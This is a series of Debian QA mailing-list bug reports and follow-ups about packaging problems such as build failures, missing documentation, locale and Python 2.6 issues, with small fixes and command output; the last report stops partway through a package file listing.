Source: snowdrop Version: 0.02b-10 Severity: wishlist Sometimes applying watermark turns a UTF-8 text into a text that is not valid UTF-8 text any more. I'd nice UTF-8-ness were always preserved. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20111001182551.ga7...@jwilk.net
Bug#641094: jrexx: wrong maintainer address
Source: jrexx Version: 1.1.1-6 Severity: serious Justification: Policy 3.3 There's a typo in the Maintainer field: Maintainer: Debian QA Group pack...@qa.debian.org (note the missing s before @). -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/2011091017.ga7...@jwilk.net
Bug#639560: symbol changes
* Philipp Kern pk...@debian.org, 2011-08-28, 10:52: The package FTBFS'es on mips, powerpc, s390, sparc and the inofficial ports s390x and powerpcspe because of changes in the symbol set wrt the symbols file: Hmm, symbols file was added in 0.7-5, even though it isn't mentioned in the changelog. - spifhash_jenkinsLE@Base 0.7 +#MISSING: 0.7-5# spifhash_jenkinsLE@Base 0.7 Looking at the source code spifhash_jenkinsLE is only defined on little-endian systems. + spiftool_regexp_match@Base 0.7-5 + spiftool_regexp_match_r@Base 0.7-5 These two OTOH are defined everywhere and I don't understand why they weren't included in the symbols file. Even lintian loudly complains: E: libast2: symbols-file-contains-current-version-with-debian-revision on symbol spiftool_regexp_match@Base and 1 others N: N:Debian revisions should be stripped from versions in symbols files. Not N:doing so leads to dependencies unsatisfiable by backports (1.0-1~bpo N:1.0-1 while 1.0-1~bpo = 1.0). If the debian revision can't be stripped N:because the symbol really appeared between two specific Debian N:revisions, you should postfix the version with a single ~ (example: N:1.0-3~ if the symbol appeared in 1.0-3). N: N:This problem normally means that the symbols were added automatically by N:dpkg-gensymbols. dpkg-gensymbols uses the full version number for the N:dependency associated to any new symbol that it detects. The maintainer N:must update the debian/package.symbols file by adding the new symbols N:with the corresponding upstream version. N: N:Severity: important, Certainty: certain N: N:Check: shared-libs, Type: binary, udeb N: -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20110828133918.ga3...@jwilk.net
Bug#633818: libvigraimpex: FTBFS:sh4: Failure in ClassifierTest::RF_NanCheck()
* Nobuhiro Iwamatsu iwama...@nigauri.org, 2011-07-14, 10:41: +ifeq ($(DEB_HOST_ARCH),sh4) +CFLAGS += -mieee +CXXFLAGS += -mieee +endif I don't think this patch is such a good idea. The VIGRA library provides most functionality via header files, not via the shared library - so using non-standard compiler options to make a test pass is not much better than disabling the test entirely. Shouldn't GCC be fixed instead to make -mieee the default? -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20110811204903.ga9...@jwilk.net
Bug#637241: python-camelot: pkg_resources.DistributionNotFound: SQLAlchemy=0.6.4,0.7.0
Package: python-camelot Version: 11.05.13-c1-3 Severity: grave Justification: renders package unusable $ camelot_admin Traceback (most recent call last): File /usr/bin/camelot_admin, line 5, in module from pkg_resources import load_entry_point File /usr/lib/python2.6/dist-packages/pkg_resources.py, line 2676, in module parse_requirements(__requires__), Environment() File /usr/lib/python2.6/dist-packages/pkg_resources.py, line 552, in resolve raise DistributionNotFound(req) pkg_resources.DistributionNotFound: SQLAlchemy=0.6.4,0.7.0 -- System Information: Debian Release: wheezy/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Kernel: Linux 3.0.0-1-amd64 (SMP w/2 CPU cores) Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Shell: /bin/sh linked to /bin/dash Versions of packages python-camelot depends on: ii python 2.6.7-2 interactive high-level object-orie ii python-chardet 2.0.1-2 universal character encoding detec ii python-elixir0.7.1-1 Declarative Mapper for SQLAlchemy ii python-excelerator 0.6.4.1-1 module for reading/writing Excel s ii python-jinja22.6-1 small but fast and easy to use sta ii python-migrate 0.7.1-2 Database schema migration for SQLA ii python-pybabel 0.9.6-1 tools for internationalizing Pytho ii python-qt4 4.8.3-4 Python bindings for Qt4 ii python-sqlalchemy0.7.2-1 SQL toolkit and Object Relational ii python-tempita 0.5.1-1 very small text templating languag ii python-xlrd 0.6.1-2 extract data from MS Excel spreads ii python-xlwt 0.7.2+debian1-2 module for reading/writing Microso ii python2.62.6.7-4 An interactive high-level object-o ii tango-icon-theme 0.8.90-5Tango icon theme Versions of packages python-camelot suggests: pn python-camelot-docnone (no description available) -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20110809201252.ga2...@jwilk.net
Bug#637243: python-camelot: broken symlink: /usr/share/pyshared/camelot/art/tango
Package: python-camelot Version: 11.05.13-c1-3 Severity: important $ lintian python-camelot_11.05.13-c1-3_all.deb | head -n1 E: python-camelot: symlink-should-be-absolute usr/share/pyshared/camelot/art/tango ../../../../../share/icons/Tango To fix this bug it should be enough to rebuild python-camelot with recent dh_python2. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20110809202557.ga4...@jwilk.net
Bug#635745: exactimage: FTBFS with libpng 1.5.2
I don't think your patch applies cleanly: !DOCTYPE HTML PUBLIC -//IETF//DTD HTML 2.0//EN htmlhead title404 Not Found/title /headbody h1Not Found/h1 pThe requested URL /~iwamatsu/libpng/patches/exactimage_0.8.5-1.patch was not found on this server./p hr addressApache Server at people.debian.org Port 80/address /body/html :P -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20110728144436.ga2...@jwilk.net
Bug#627350: python-django-authority and python-camelot: error when trying to install together
clone 627350 -1 reassign 627350 python-camelot 11.05.13-c1-1 found 627350 11.05.13-c1-2 retitle 627350 python-camelot: ships Python module example reassign -1 python-django-authority 0.4-1 retitle -1 python-django-authority: ships Python module example thanks * Ralf Treinen trei...@free.fr, 2011-05-19, 21:36: dpkg: error processing /var/cache/apt/archives/python-django-authority_0.4-1_all.deb (--unpack): trying to overwrite '/usr/share/pyshared/example/settings.py', which is also in package python-camelot 11.05.13-c1-1 configured to not write apport reports Processing triggers for man-db ... Errors were encountered while processing: /var/cache/apt/archives/python-django-authority_0.4-1_all.deb E: Sub-process /usr/bin/dpkg returned an error code (1) I don't think it's appropriate for either of packages to ship a Python module with such a generic name. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20110720221556.ga2...@jwilk.net
Bug#612508: snes9x: build-depends on x-dev
Source: snes9x Version: 1:1.5-1 Severity: serious Tags: sid wheezy snes9x build-depends on x-dev, which was a transitional package and it no longer exists in sid. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20110208194102.ga4...@jwilk.net
Bug#612336: vusb-analyzer: doesn't start without python-gnome2: NameError: name 'gnomecanvas' is not defined
Source: vusb-analyzer Version: 1.1-2 Severity: serious Justification: Policy 3.5 In a clean chroot: | $ vusb-analyzer --help | Traceback (most recent call last): | File ./vusb-analyzer, line 13, in module | from VUsbTools import Views, Log, Diff, Decode | File /usr/lib/vusb-analyzer/VUsbTools/Views.py, line 15, in module | from VUsbTools import Types, Style | File /usr/lib/vusb-analyzer/VUsbTools/Types.py, line 20, in module | except gnomecanvas: | NameError: name 'gnomecanvas' is not defined It looks like gnomecanvas was indented to be optional, it's just nobody tested it: | try: | import gnomecanvas | except gnomecanvas: | print Warning: You don't have gnome-canvas (or its python bindings) installed. | print The happy timing diagram will be disabled. | gnomecanvas = None -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20110207201429.ga2...@jwilk.net
Bug#612334: vusb-analyzer: Doesn't work when locale is set to pl_PL.UTF-8
tags 612334 + confirmed patch thanks * Patryk Ściborek pat...@sciborek.com, 2011-02-07, 20:53: scibi@karaluszek:~$ vusb-analyzer /tmp/windows-storage-mount.log Warning: psyco not found, install it for a nice speed boost. Loaded decoder module 'Cypress' Loaded decoder module 'Storage' Loaded decoder module 'Bluetooth' Exception in thread Thread-1: Traceback (most recent call last): File /usr/lib/python2.6/threading.py, line 532, in __bootstrap_inner self.run() File /usr/lib/vusb-analyzer/VUsbTools/Log.py, line 696, in run self.parser.parse(line) File /usr/lib/vusb-analyzer/VUsbTools/Log.py, line 183, in parse UsbIOParser.parse(self, l[1][:-1], self.parseRelativeTime(line), File /usr/lib/vusb-analyzer/VUsbTools/Log.py, line 190, in parseRelativeTime t = self.parseTime(line) File /usr/lib/vusb-analyzer/VUsbTools/Log.py, line 207, in parseTime parsed = time.strptime(stamp, %b %d %H:%M:%S) File /usr/lib/python2.6/_strptime.py, line 454, in _strptime_time return _strptime(data_string, format)[0] File /usr/lib/python2.6/_strptime.py, line 325, in _strptime (data_string, format)) ValueError: time data 'Jan 11 23:40:52' does not match format '%b %d %H:%M:%S' Thanks for the bug report. Could you check if the attached patch fixes all the locale problems for you? -- Jakub Wilk Description: Set LC_TIME locale to C, so that timestamps can be parsed correctly. Author: Jakub Wilk jw...@debian.org Bug-Debian: http://bugs.debian.org/612334 Forwarded: no Last-Update: 2011-02-07 --- a/vusb-analyzer +++ b/vusb-analyzer @@ -9,7 +9,12 @@ VERSION = 1.1 -import sys, os, gtk +import sys, os, gtk, locale + +# gtk helpfully calls setlocale(LC_ALL, ), which breaks timestamp +# parsing. Let's (partially) undo that. +locale.setlocale(locale.LC_TIME, 'C') + from VUsbTools import Views, Log, Diff, Decode def main(filename, tailMode=False):
Bug#572061: cuneiform: Input format not documented
clone 572061 -1 retitle -1 cuneiform: suboptimal handling of multi-page documents tags -1 + upstream thanks The input format is not documented. It is documented, although admittedly not in a very prominent place. Quoting readme.txt: If you have ImageMagick++ on your system, Cuneiform autodetects and builds against it. Then Cuneiform can process any image that ImageMagick knows how to open. When a PDF file is given as the input, gs appeares on the process list and after a while message Killed is written to the console withou any additional information. Don't do that then! :) As far as I can tell, currently all the pages are rendered and loaded to memory (if they fit, which is usually not the case) but only the first one is actually OCRed. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20110125211716.ga5...@jwilk.net
Bug#598616: cuneiform: development package is needed
* Dmitry Katsubo dm...@mail.ru, 2010-10-01, 12:47: I have fired a request at cuneiform bugtracker: https://bugs.launchpad.net/cuneiform-linux/+bug/652883 I hope .a will be available as well (usually it is not a big deal). Why do you need a static library in the first place? -- Jakub Wilk signature.asc Description: Digital signature
Bug#598616: cuneiform: development package is needed
tags 598616 + confirmed help thanks Fixing this bug is non-trivial and I don't currently have time to work on it. However, I will be happy to accept a patch if you provide one. -- Jakub Wilk signature.asc Description: Digital signature
Bug#520258: Deadlock in futex() on exit
tags 520258 + confirmed severity 520258 important thanks (I am not maintainer of this package, and in fact, for the time being nobody is.) * Jan Fuchs f...@sunstel.asu.cas.cz, 2009-03-18, 13:34: Execute /usr/bin/ds9, select from menu File/Exit or click close button and DS9 deadlock on futex(0xb7d74578, FUTEX_WAIT_PRIVATE, 2, NULL^C unfinished ... Thanks for your bugreport. I can confirm that it indeed happens. However, I don't think that critical severity[0] is justified here. [0] ‘critical’ is defined as “makes unrelated software on the system (or the whole system) break, or causes serious data loss, or introduces a security hole on systems where you install the package.” -- Jakub Wilk signature.asc Description: Digital signature
Bug#593927: twlog: installs defaults to /usr/lib/X11/app-defaults/
* Ralf Treinen trei...@free.fr, 2010-08-24, 20:23: Package: twlog Version: 2.5-3 Severity: important twlog installs defaults files into /usr/lib/X11/app-defaults/. This is violation of policy 11.8.6. I have no idea where this is coming from. After rebuilding twlog 2.5-3 on my amd64/sid machine: % debc | grep app-defaults drwxr-xr-x root/root 0 2010-08-24 19:56 ./etc/X11/app-defaults/ -rw-r--r-- root/root 9218 2008-03-21 20:23 ./etc/X11/app-defaults/Twlog Though autobuilder logs of the same package [1] confirm that there is drwxr-xr-x root/root 0 2009-11-03 08:36 ./usr/lib/ drwxr-xr-x root/root 0 2009-11-03 08:36 ./usr/lib/X11/ drwxr-xr-x root/root 0 2009-11-03 08:36 ./usr/lib/X11/app-defaults/ -rw-r--r-- root/root 9218 2009-11-03 08:36 ./usr/lib/X11/app-defaults/Twlog Any idea what the problem is here? I haven't digged into this, but I guess it's related to this configure check: checking for X app-defaults directory... /usr/lib/X11/app-defaults -- Jakub Wilk signature.asc Description: Digital signature
Bug#593789: p2c: missing documentation
* Ralf Treinen trei...@free.fr, 2010-08-22, 11:16: non-i386 binaries don't ship manpages nor examples: $ dpkg -c p2c_1.21alpha2-3_i386.deb | grep -cE '/(doc|man)/' 19 $ dpkg -c p2c_1.21alpha2-3_amd64.deb | grep -cE '/(doc|man)/' 7 A simple rebuild seems to solve that. On amd64/sid, after rebulding: debc | grep -cE '/(doc|man)/' 19 The autobuilder logs of p2c_1.21alpha2-3show that there are indeed files missing. The debian/rules seems to me convoluted anyway; I'll have a look at it. Heh, it's not convoluted, it's simply wrong. The binary target takes care of installing documentation, but the binary-arch (run by autobuilders) doesn't. -- Jakub Wilk signature.asc Description: Digital signature
Bug#593927: twlog: installs defaults to /usr/lib/X11/app-defaults/
Package: twlog Version: 2.5-3 Severity: important twlog installs defaults files into /usr/lib/X11/app-defaults/. This is violation of policy 11.8.6. -- Jakub Wilk signature.asc Description: Digital signature
Bug#593753: rezound: *.mo missing on some architectures
Package: rezound Version: 0.12.3beta-3 Severity: normal Translation files are missing on some architectures: $ dpkg -c rezound_0.12.3beta-3+b1_i386.deb | grep -Fc .mo 5 $ dpkg -c rezound_0.12.3beta-3+b1_amd64.deb | grep -Fc .mo 0 -- Jakub Wilk signature.asc Description: Digital signature
Bug#593769: netstat-nat: extra documentation in /usr/share/doc/netstat-nat-1.4.10/
Package: netstat-nat Version: 1.4.10-1 Severity: normal Despite the efforts to remove extra documentation in d/rules, the files are still there: $ /usr/bin/lintian netstat-nat_1.4.10-1_amd64.deb W: netstat-nat: extra-license-file usr/share/doc/netstat-nat-1.4.10/COPYING.gz W: netstat-nat: zero-byte-file-in-doc-directory usr/share/doc/netstat-nat-1.4.10/NEWS.gz -- Jakub Wilk signature.asc Description: Digital signature
Bug#593789: p2c: missing documentation
Source: p2c Version: 1.21alpha2-3 Severity: important non-i386 binaries don't ship manpages nor examples: $ dpkg -c p2c_1.21alpha2-3_i386.deb | grep -cE '/(doc|man)/' 19 $ dpkg -c p2c_1.21alpha2-3_amd64.deb | grep -cE '/(doc|man)/' 7 -- Jakub Wilk signature.asc Description: Digital signature
Bug#593486: yagiuda: FTBFS on mips{, el}: non-dynamic relocations refer to dynamic symbol optopt@@GLIBC_2.0
Source: yagiuda Version: 1.19-5 Severity: serious Justification: FTBFS yagiuda fails to build from source on mips[0] and mipsel[1] (likely because of bug #519006): | mips-linux-gnu-gcc -Wall -g -O2 -o yagi yagi.o fill_v_vector.o get_number_of_elements.o getfiles.o nrutil.o string.o read_yagi_data.o self.o mutual.o fill_z_matrix.o cis_hack.o com_hack.o lud_hack.o lub_hack.o write_header_to_disk.o write_coordinates.o print_z_matrix.o version.o getopt.o usage_yagi.o mpr_hack.o self2.o cin.o ci.o display_antenna_currents.o -lm | /usr/bin/ld: non-dynamic relocations refer to dynamic symbol optopt@@GLIBC_2.0 | /usr/bin/ld: failed to set dynamic section sizes: Bad value | collect2: ld returned 1 exit status [0] https://buildd.debian.org/fetch.cgi?pkg=yagiudaarch=mipsver=1.19-6.2stamp=1277096397 [1] https://buildd.debian.org/fetch.cgi?pkg=yagiudaarch=mipselver=1.19-6.2stamp=1277099656 -- Jakub Wilk signature.asc Description: Digital signature
Bug#593486: yagiuda: FTBFS on mips{, el}: non-dynamic relocations refer to dynamic symbol optopt@@GLIBC_2.0
tags 593486 + patch thanks * Jakub Wilk jw...@debian.org, 2010-08-18, 17:29: yagiuda fails to build from source on mips[0] and mipsel[1] (likely because of bug #519006): | mips-linux-gnu-gcc -Wall -g -O2 -o yagi yagi.o fill_v_vector.o get_number_of_elements.o getfiles.o nrutil.o string.o read_yagi_data.o self.o mutual.o fill_z_matrix.o cis_hack.o com_hack.o lud_hack.o lub_hack.o write_header_to_disk.o write_coordinates.o print_z_matrix.o version.o getopt.o usage_yagi.o mpr_hack.o self2.o cin.o ci.o display_antenna_currents.o -lm | /usr/bin/ld: non-dynamic relocations refer to dynamic symbol optopt@@GLIBC_2.0 | /usr/bin/ld: failed to set dynamic section sizes: Bad value | collect2: ld returned 1 exit status The attached patch fixes this bug. -- Jakub Wilk --- yagiuda-1.19.orig/src/getopt.c +++ yagiuda-1.19/src/getopt.c @@ -35,7 +35,7 @@ int opterr = 1; int optind = 1; -int optopt; +static int optopt; char*optarg; void ERR(char *s, char c, char **argv) signature.asc Description: Digital signature
Bug#589091: no manual page for canto-inspect
Package: canto Version: 0.7.6-2 Severity: normal $ man canto-inspect No manual entry for canto-inspect See 'man 7 undocumented' for help when manual pages are not available. -- Jakub Wilk signature.asc Description: Digital signature
Bug#589096: canto: abuse of assert
Package: canto Version: 0.7.6-2 Severity: normal $ grep assert -C 3 /usr/share/pyshared/canto/extra.py try: xclip.stdin.write(gui.sel[item][link]) xclip.stdin.close() assert xclip.wait() == 0 except (IOError, AssertionError): gui.cfg.log(xclip must be installed for yank to work!) else: wait() will never be called if a user has PYTHONOPTIMIZE=1 set in his enviroment. -- Jakub Wilk signature.asc Description: Digital signature
Bug#588729: offlineimap: Please implement work-around for #586433
Package: offlineimap Version: 6.2.0.2 Severity: wishlist Tags: patch Hello, The attached patch implements work-around for bug in Python 2.6 (#586433, “curses fails to restore terminal settings”). -- Jakub Wilk diff -Nru offlineimap-6.2.0.1/offlineimap/ui/__init__.py offlineimap-6.2.0.2/offlineimap/ui/__init__.py --- offlineimap-6.2.0.1/offlineimap/ui/__init__.py 2010-04-21 16:42:07.0 +0200 +++ offlineimap-6.2.0.2/offlineimap/ui/__init__.py 2010-06-24 17:59:26.0 +0200 @@ -28,6 +28,8 @@ except ImportError: pass else: +# Work-around for http://bugs.python.org/issue7567 +curses.setupterm = dict import Curses import Noninteractive signature.asc Description: Digital signature
Bug#588348: offlineimap: Looses mails if PYTHONOPTIMIZE is set
tags 588348 + patch thanks * Sascha Silbe sascha-debian-bugs-offlineimap-2010-07...@silbe.org, 2010-07-07, 12:17: offlineimap calls critical code paths only via assert. I attach an ugly, untested work-around for this bug. -- Jakub Wilk diff -Nru offlineimap-6.2.0.2/bin/offlineimap offlineimap-6.2.0.3/bin/offlineimap --- offlineimap-6.2.0.2/bin/offlineimap 2009-08-12 22:25:27.0 +0200 +++ offlineimap-6.2.0.3/bin/offlineimap 2010-07-11 19:14:21.0 +0200 @@ -17,5 +17,16 @@ #along with this program; if not, write to the Free Software #Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +import os +import sys + +try: +assert 0 +except AssertionError: +pass +else: +os.putenv('PYTHONOPTIMIZE', '') +os.execv('/usr/bin/python', ['python'] + sys.argv) + from offlineimap import init init.startup('6.2.0') diff -Nru offlineimap-6.2.0.2/offlineimap.py offlineimap-6.2.0.3/offlineimap.py --- offlineimap-6.2.0.2/offlineimap.py 2009-08-12 22:25:27.0 +0200 +++ offlineimap-6.2.0.3/offlineimap.py 2010-07-11 19:14:23.0 +0200 @@ -17,5 +17,16 @@ #along with this program; if not, write to the Free Software #Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +import os +import sys + +try: +assert 0 +except AssertionError: +pass +else: +os.putenv('PYTHONOPTIMIZE', '') +os.execv('/usr/bin/python', ['python'] + sys.argv) + from offlineimap import init init.startup('6.2.0') signature.asc Description: Digital signature
Bug#587969: mock: doesn't work on kfreebsd-*: /usr/bin/python: undefined symbol: personality
Package: mock Version: 1.0.8-1 Severity: wishlist User: debian-...@lists.debian.org Usertags: kfreebsd On kfreebsd-*, mock crashes with a not very friendly error message: # mock init Traceback (most recent call last): File /usr/sbin/mock, line 64, in module import mock.backend File /usr/lib/pymodules/python2.6/mock/backend.py, line 25, in module import mock.util File /usr/lib/pymodules/python2.6/mock/util.py, line 29, in module _libc.personality.argtypes = [ctypes.c_ulong] File /usr/lib/python2.6/ctypes/__init__.py, line 366, in __getattr__ func = self.__getitem__(name) File /usr/lib/python2.6/ctypes/__init__.py, line 371, in __getitem__ func = self._FuncPtr((name_or_ordinal, self)) AttributeError: /usr/bin/python: undefined symbol: personality While it is understandable that mock doesn't work on non-Linux systems, it would be nice if an error message explained what is the culprit (i.e., that you need Linux to run this program). -- System Information: Debian Release: squeeze/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: kfreebsd-i386 (i686) Kernel: kFreeBSD 7.3-1-686 Locale: LANG=C, LC_CTYPE=pl_PL.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages mock depends on: ii adduser 3.112 add and remove users and groups ii python2.6.5-5An interactive high-level object-o ii python-decoratortools 1.7-3 version-agnostic decorators suppor ii python-support1.0.9 automated rebuilding support for P ii rpm 4.8.1-5package manager for RPM ii usermode 1.105-0.1 Graphical tools for certain user a ii yum 3.2.25-1 Advanced front-end for rpm -- Jakub Wilk signature.asc Description: Digital signature
Bug#587575: mock broken due to its sub components exit with python exception
reassign 587575 yum,urlgrabber found 587575 yum/3.2.25-1 found 587575 urlgrabber/3.9.1-3 affects 587575 mock thanks * w.goesgens w.goesg...@outgesourced.org, 2010-06-29, 23:56: mock -r fedora-13-x86_64 --init /tmp/log 21 on my amd64 sid box. this seems to work in squeeze. Thanks for your bug report; that looks more like a problem with yum or urlgrabber: # /usr/bin/yum --installroot /var/lib/mock/fedora-13-x86_64/root/ groupinstall buildsys-build Traceback (most recent call last): File /usr/lib/pymodules/python2.6/urlgrabber/grabber.py, line 1522, in _progress_update if self._over_max_size(cur=self._amount_read-self._reget_length): File /usr/lib/pymodules/python2.6/urlgrabber/grabber.py, line 1539, in _over_max_size if cur max_size + max_size*.10: TypeError: can't multiply sequence by non-int of type 'float' Traceback (most recent call last): File /usr/lib/pymodules/python2.6/urlgrabber/grabber.py, line 1522, in _progress_update if self._over_max_size(cur=self._amount_read-self._reget_length): File /usr/lib/pymodules/python2.6/urlgrabber/grabber.py, line 1539, in _over_max_size if cur max_size + max_size*.10: TypeError: can't multiply sequence by non-int of type 'float' Traceback (most recent call last): File /usr/lib/pymodules/python2.6/urlgrabber/grabber.py, line 1522, in _progress_update if self._over_max_size(cur=self._amount_read-self._reget_length): File /usr/lib/pymodules/python2.6/urlgrabber/grabber.py, line 1539, in _over_max_size if cur max_size + max_size*.10: TypeError: can't multiply sequence by non-int of type 'float' http://ftp.uni-bayreuth.de/linux/fedora/linux/releases/13/Everything/x86_64/os/repodata/c9f35fdd3fa196a5ed5d9257fccfe8832ade88eb35d3e0e7d6006b473b260794-primary.sqlite.bz2: [Errno 14] PYCURL ERROR 7 - Versuche anderen Spiegel-Server. -- Jakub Wilk signature.asc Description: Digital signature
Bug#586935: knoda: links to libpython2.5 (sometimes)
Source: knoda Version: 0.8.3-4 Severity: important User: debian-pyt...@lists.debian.org Usertags: python2.6 Hello, In some circumstances (see e.g. [1], [2]), even when built with Python 2.6 as default version, knoda ends up linked in libpython2.5. [1] https://buildd.debian.org/fetch.cgi?pkg=knodaver=0.8.3-4%2Bb1arch=i386stamp=1276840418file=log [2] https://buildd.debian.org/fetch.cgi?pkg=knodaver=0.8.3-4%2Bb1arch=s390stamp=1276830624file=log -- Jakub Wilk signature.asc Description: Digital signature
Bug#586433: python2.6: curses fails to restore terminal settings
reassign 586433 python2.6 2.6.5+20100616-1 retitle 586433 python2.6: curses fails to restore terminal settings affects 586433 offlineimap thanks * Julien Cristau jcris...@debian.org, 2010-06-19, 14:56: After upgrading python from 2.5 to 2.6, the terminal is not restored when offlineimap quits (using default curses ui). I believe this is a bug in python2.6. Minimal example attached. $ stty; python2.5 curses-sample.py; stty speed 38400 baud; line = 0; iutf8 speed 38400 baud; line = 0; iutf8 $ stty; python2.6 curses-sample.py; stty speed 38400 baud; line = 0; iutf8 speed 0 baud; line = 0; intr = undef; quit = undef; erase = undef; kill = undef; eof = undef; start = undef; stop = undef; susp = undef; rprnt = undef; werase = undef; lnext = undef; flush = undef; min = 0; time = 0; -brkint -icrnl -imaxbel -opost -onlcr -isig -icanon -iexten -echo -echoe -echok -echoctl -echoke -- Jakub Wilk #!/usr/bin/python from curses import wrapper def dummy(stdscr): pass wrapper(dummy) wrapper(dummy) signature.asc Description: Digital signature
Bug#583603: cuneiform: unclear copyright/license of cuneiform_src/Kern/rout/wtypes.h
Package: cuneiform Version: 0.7.0+dfsg-1 Severity: serious cuneiform_src/Kern/rout/wtypes.h is claimed to be BSD-licensed, but it's Copyright 1992 - 1998 Microsoft Corporation. Somehow I doubt that Microsoft really released this code under BSD license. -- Jakub Wilk signature.asc Description: Digital signature
Bug#582570: megahal: produces broken binaries with current python-support
Package: megahal Version: 9.1.1a-6 Severity: serious Hello, When rebuild in sid environment, megahal binaries didn't contain any Python modules: $ debdiff --nocontrol {archive,sid}/megahal_9.1.1a-6_*.deb [The following lists of changes regard files as different if they have different names, permissions or owners.] Files in first .deb but not in second - -rw-r--r-- root/root /usr/lib/python-support/megahal/python2.4/megahal-9.0.3.egg-info -rw-r--r-- root/root /usr/lib/python-support/megahal/python2.4/mh_python.so -rw-r--r-- root/root /usr/lib/python-support/megahal/python2.5/megahal-9.0.3.egg-info -rw-r--r-- root/root /usr/lib/python-support/megahal/python2.5/mh_python.so -rwxr-xr-x root/root DEBIAN/prerm -- Jakub Wilk signature.asc Description: Digital signature
Bug#580267: pythoncard-doc: broken example (jabberChat)
Package: pythoncard-doc Version: 0.8.2-1 Severity: minor Hello, jabberChat example doesn't work due to syntax error in one of its modules: $ python /usr/share/doc/pythoncard-doc/samples/jabberChat/jabberChat.py Traceback (most recent call last): File /usr/share/doc/pythoncard-doc/samples/jabberChat/jabberChat.py, line 21, in module from connection import JabberConnection ValueError: invalid \x escape -- Jakub Wilk signature.asc Description: Digital signature
Bug#574767: galternatives: rebuild produces broken package
Source: galternatives Version: 0.13.4 Severity: serious Tag: lenny, sid, squeeze Hello, Rebuild of your package produced broken binaries: Package: galternatives Version: 0.13.4 Architecture: all Maintainer: Debian QA Group packa...@qa.debian.org Installed-Size: 160 Depends: python, python-glade2 Recommends: gksu Conflicts: gksu ( 0.8.0) Section: admin Priority: optional Description: graphical setup tool for the alternatives system A GUI to help the system administrator to choose what program should provide a given service. . This is a graphical front-end to the update-alternatives program shipped with dpkg. drwxr-xr-x root/root 0 2010-02-24 22:53 ./ drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/ drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/lib/ drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/lib/python2.3/ drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/lib/python2.3/site-packages/ drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/lib/python2.3/site-packages/galternatives/ -rwxr-xr-x root/root 18905 2005-08-18 03:21 ./usr/lib/python2.3/site-packages/galternatives/main.py -rwxr-xr-x root/root89 2004-06-15 00:04 ./usr/lib/python2.3/site-packages/galternatives/gadebug.py -rwxr-xr-x root/root57 2004-10-11 20:51 ./usr/lib/python2.3/site-packages/galternatives/common.py -rwxr-xr-x root/root 4993 2004-11-22 05:02 ./usr/lib/python2.3/site-packages/galternatives/alternative.py -rwxr-xr-x root/root38 2004-06-15 00:04 ./usr/lib/python2.3/site-packages/galternatives/__init__.py drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/sbin/ -rwxr-xr-x root/root 1444 2004-12-08 03:10 ./usr/sbin/galternatives drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/ drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/locale/ drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/locale/pt_BR/ drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/locale/pt_BR/LC_MESSAGES/ -rw-r--r-- root/root 4054 2010-02-24 22:53 ./usr/share/locale/pt_BR/LC_MESSAGES/galternatives.mo drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/locale/es/ drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/locale/es/LC_MESSAGES/ -rw-r--r-- root/root 3084 2010-02-24 22:53 ./usr/share/locale/es/LC_MESSAGES/galternatives.mo drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/locale/fr/ drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/locale/fr/LC_MESSAGES/ -rw-r--r-- root/root 4113 2010-02-24 22:53 ./usr/share/locale/fr/LC_MESSAGES/galternatives.mo drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/locale/cs/ drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/locale/cs/LC_MESSAGES/ -rw-r--r-- root/root 3926 2010-02-24 22:53 